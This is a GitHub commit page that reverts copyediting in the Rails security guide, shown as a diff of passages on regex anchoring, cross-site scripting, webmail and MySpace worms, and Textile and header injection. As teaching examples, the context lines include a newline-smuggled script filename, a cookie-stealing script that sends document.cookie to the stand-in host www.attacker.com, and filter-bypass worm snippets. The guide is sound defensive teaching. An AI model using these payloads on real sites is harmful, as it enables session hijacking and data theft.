mirror of
https://github.com/rails/rails.git
synced 2022-11-09 12:12:34 -05:00
Revert "Copyediting of the 'security' guide from chapter 8 to the end."
This reverts commit b64dd9cd13
.
REASON : Guides should not contain conversations. That should go to LH tickets. Thanks.
This commit is contained in:
parent
b64dd9cd13
commit
07f43a10ff
1 changed files with 12 additions and 14 deletions
|
@ -528,12 +528,10 @@ Ruby uses a slightly different approach than many other languages to match the e
|
|||
|
||||
<ruby>
|
||||
class File < ActiveRecord::Base
|
||||
validates_format_of :name, :with => /^[\w\.\-\+]+$/
|
||||
validates_format_of :name, :with => /^[\w\.\-\+]+$/ # [1]
|
||||
end
|
||||
</ruby>
|
||||
|
||||
WARNING: Obviously, this regular expression gets rendered incorrectly by Textile. Could the original author please see into this?
|
||||
|
||||
This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
|
||||
|
||||
<pre>
|
||||
|
@ -543,10 +541,12 @@ file.txt%0A<script>alert('hello')</script>
|
|||
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
|
||||
|
||||
<ruby>
|
||||
/\A[\w\.\-\+]+\z/
|
||||
/\A[\w\.\-\+]+\z/ # [2]
|
||||
</ruby>
|
||||
|
||||
WARNING: And this too, please.
|
||||
fn1. Obviously, this regular expression gets rendered incorrectly by Textile. Could the original author please see into this?
|
||||
|
||||
fn2. And this too, please.
|
||||
|
||||
h4. Privilege escalation
|
||||
|
||||
|
@ -678,9 +678,9 @@ An entry point is a vulnerable URL and its parameters where an attacker can star
|
|||
|
||||
The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
|
||||
|
||||
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
|
||||
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
|
||||
|
||||
During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites "were hacked":http://www.0x000000.com/?i=556 like this, among them the British government, United Nations, and many more high targets.
|
||||
During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites "were hacked":http://www.0x000000.com/?i=556 like this, among them the British government, United Nations and many more high targets.
|
||||
|
||||
A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
|
||||
|
||||
|
@ -711,8 +711,6 @@ These examples don't do any harm so far, so let's see how an attacker can steal
|
|||
|
||||
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
|
||||
|
||||
WARNING: Another problem with verbatim code containing '+' characters. How does one switch this textile feature off temporarily?
|
||||
|
||||
<pre>
|
||||
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
|
||||
</pre>
|
||||
|
@ -790,7 +788,7 @@ The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/sec
|
|||
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
|
||||
</pre>
|
||||
|
||||
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
|
||||
The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
|
||||
|
||||
Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on "Rosario Valotta's website":http://rosario.valotta.googlepages.com/home. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
|
||||
|
||||
|
@ -828,7 +826,7 @@ The next problem was MySpace filtering the word “javascript”, so the author
|
|||
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
|
||||
</pre>
|
||||
|
||||
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
|
||||
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.
|
||||
|
||||
In the end, he got a 4 KB worm, which he injected into his profile page.
|
||||
|
||||
|
@ -842,7 +840,7 @@ h4. Textile Injection
|
|||
|
||||
-- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://whytheluckystiff.net/ruby/redcloth/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
|
||||
|
||||
For example, RedCloth translates +_test_+ to +<em>test<em>+, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
|
||||
For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
|
||||
|
||||
|
||||
<pre>
|
||||
|
@ -866,7 +864,7 @@ However, this does not filter all HTML, a few tags will be left (by design), for
|
|||
|
||||
h5. Countermeasures
|
||||
|
||||
It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
|
||||
It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS.
|
||||
|
||||
h4. Ajax Injection
|
||||
|
||||
|
@ -898,7 +896,7 @@ h4. Header Injection
|
|||
|
||||
-- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
|
||||
|
||||
HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
|
||||
HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
|
||||
|
||||
Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
|
||||
|
||||
|
|
Loading…
Reference in a new issue